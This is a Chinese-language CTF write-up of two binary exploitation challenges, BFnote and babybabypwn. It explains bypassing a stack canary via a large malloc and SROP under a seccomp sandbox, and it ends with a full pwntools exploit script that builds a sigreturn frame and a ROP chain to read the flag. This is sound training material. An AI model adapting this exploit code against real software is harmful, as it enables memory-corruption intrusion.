记两道比较有意思的PWN题
March 1, 2020 CTF-Writeup 访问: 44 次
最近忙着准备XX,没太关注CTF,今儿抽空看了两道栈题,总结一下。
i春秋公益赛-BFnote
32位题
radish ➜ bfnote checksec BFnote
[*] '/media/psf/Home/Downloads/bfnote/BFnote'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
radish ➜ bfnote
关键函数如下,其中变量V4
造成堆后面的地址任意写
unsigned int __cdecl main()
{
int i; // [esp+4h] [ebp-54h]
int size; // [esp+8h] [ebp-50h]
char *v3; // [esp+Ch] [ebp-4Ch]
int v4; // [esp+14h] [ebp-44h]
char s; // [esp+1Ah] [ebp-3Eh]
unsigned int v6; // [esp+4Ch] [ebp-Ch]
v6 = __readgsdword(0x14u);
sub_80486F7();
fwrite("\nGive your description : ", 1u, 0x19u, stdout);
memset(&s, 0, 0x32u);
sub_804869C(0, &s, 1536);
fwrite("Give your postscript : ", 1u, 0x17u, stdout);
memset(&unk_804A060, 0, 0x64u);
sub_804869C(0, &unk_804A060, 1536);
fwrite("\nGive your notebook size : ", 1u, 0x1Bu, stdout);
size = sub_8048656();
v3 = (char *)malloc(size);
memset(v3, 0, size);
fwrite("Give your title size : ", 1u, 0x17u, stdout);
v4 = sub_8048656();
for ( i = v4; size - 32 < i; i = sub_8048656() )
fwrite("invalid ! please re-enter :\n", 1u, 0x1Cu, stdout);
fwrite("\nGive your title : ", 1u, 0x13u, stdout);
sub_804869C(0, v3, i);
fwrite("Give your note : ", 1u, 0x11u, stdout);
read(0, &v3[v4 + 16], size - v4 - 16);
fwrite("\nnow , check your notebook :\n", 1u, 0x1Du, stdout);
fprintf(stdout, "title : %s", v3);
fprintf(stdout, "note : %s", &v3[v4 + 16]);
return __readgsdword(0x14u) ^ v6;
}
这题开启了canary
,明显的是要绕过它,首先找到它在内存中的地方(做题的时候并不知道这个命令,导致我没法正确的找到它)
pwndbg> search -p 0x9c894d00
0xf7e04714 0x9c894d00
[stack] 0xffffceac 0x9c894d00
[stack] 0xffffcf1c 0x9c894d00
pwndbg>
我们知道当我们用malloc
申请超级大的地址的话就会直接申请一个段,而这个段就在libc段
上面,并且和canary
所在的地方相邻,所以就可以改canary
了
控制canary
之后就可以进行ROP了,这道题没有puts泄漏函数,所以用dl_resolve
来拿shell
另一种做法就是攻击got_read
为mprotect
,将bss
设置为可执行,再跳过去执行shellcode
即可,小爆破一下就好。
V&N招新赛-babybabypwn
保护全开,且存在沙箱保护,一般绕过手法是ROP读取flag
radish ➜ WorkPath checksec --file pwn
[*] '/media/psf/Home/Downloads/WorkPath/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
radish ➜ WorkPath seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0d 0xc000003e if (A != ARCH_X86_64) goto 0015
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0a 0xffffffff if (A != 0xffffffff) goto 0015
0005: 0x15 0x09 0x00 0x00000009 if (A == mmap) goto 0015
0006: 0x15 0x08 0x00 0x0000000a if (A == mprotect) goto 0015
0007: 0x15 0x07 0x00 0x00000029 if (A == socket) goto 0015
0008: 0x15 0x06 0x00 0x0000002a if (A == connect) goto 0015
0009: 0x15 0x05 0x00 0x00000031 if (A == bind) goto 0015
0010: 0x15 0x04 0x00 0x00000032 if (A == listen) goto 0015
0011: 0x15 0x03 0x00 0x00000038 if (A == clone) goto 0015
0012: 0x15 0x02 0x00 0x00000039 if (A == fork) goto 0015
0013: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0015
0014: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0015: 0x06 0x00 0x00 0x00000000 return KILL
radish ➜
关键函数
unsigned __int64 sub_1347()
{
char buf; // [rsp+0h] [rbp-110h]
unsigned __int64 v2; // [rsp+108h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Welcome to v&n challange!");
printf("Here is my gift: 0x%llx\n", &puts);
printf("Please input magic message: ");
read(0, &buf, 0x100uLL);
syscall(15LL, &buf);
return __readfsqword(0x28u) ^ v2;
}
函数中直接系统调用rt_sigreturn
,可以看出来是要利用SROP,但是把程序流程劫持到哪里呢? 我在这里卡住了
一开始想着没办法通过libc
地址来得到栈地址吧,查来一番发现是我孤陋寡闻了。
how to leak stack_addr from libc
libc.symbols['environ']
get the addr of char **envp
在 gdb 中打印出来
$p environ
0xffffbeef
然后查看 stack 100 查看程序路径所在栈地址 + 8
environ 是一個在 libc 裡面的一個 symbol,他裡面存著 stack address 指到 char** envp
通过这个可以获取到栈地址,然后通过read
来控制栈,把rsp
再指向environ
即可进行ROP
EXP:
from pwn import *
context.arch='amd64'
# from LibcSearcher import *
context.log_level='debug'
debug = 1
file_name = './pwn'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = ''
prot = ''
if debug:
r = process(file_name)
libc = ELF(libc_name)
else:
r = remote(ip,int(prot))
libc = ELF(libc_name)
def debug():
gdb.attach(r)
raw_input()
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
# li("aa",hex(libc.symbols['execveat']))
ru("Here is my gift: ")
addr = rud("\n")
libc_base = eval(addr) - libc.symbols['puts']
li("libc_base",libc_base)
pop_rdi_ret = 0x0000000000021102 + libc_base
pop_rdx_rsi = 0x00000000001150c9 + libc_base
pop_rdx_ret = 0x0000000000001b92 + libc_base
syscall_addr = 0x00000000000bc375 + libc_base
binsh = 0x000000000018cd57+libc_base
# syscall_addr = 0x00000000000026bf+libc_base
stack_addr = libc.symbols['environ']+ libc_base
frameExecve = SigreturnFrame()
frameExecve.rax = 0#constants.SYS_read
frameExecve.rdi = 0#binsh
frameExecve.rsi = stack_addr
frameExecve.rdx = 0x200
frameExecve.rsp = stack_addr+8
frameExecve.rip = syscall_addr
# print len(str(frameExecve))
ru("Please input magic message: ")
li("stack_addr",stack_addr)
# debug()
sl(str(frameExecve)[8:])
sleep(0.5)
payload = "flag" + "\x00"*4 + p64(pop_rdi_ret) + p64(stack_addr) + p64(pop_rdx_rsi) + p64(0) + p64(0) + p64(libc.symbols['open']+libc_base)
payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rdx_rsi) + p64(0x100) + p64(stack_addr) + p64(libc.symbols['read']+libc_base)
payload += p64(pop_rdi_ret) + p64(1) + p64(pop_rdx_rsi) + p64(0x100) + p64(stack_addr) + p64(libc.symbols['write']+libc_base)
sl(payload)
ri()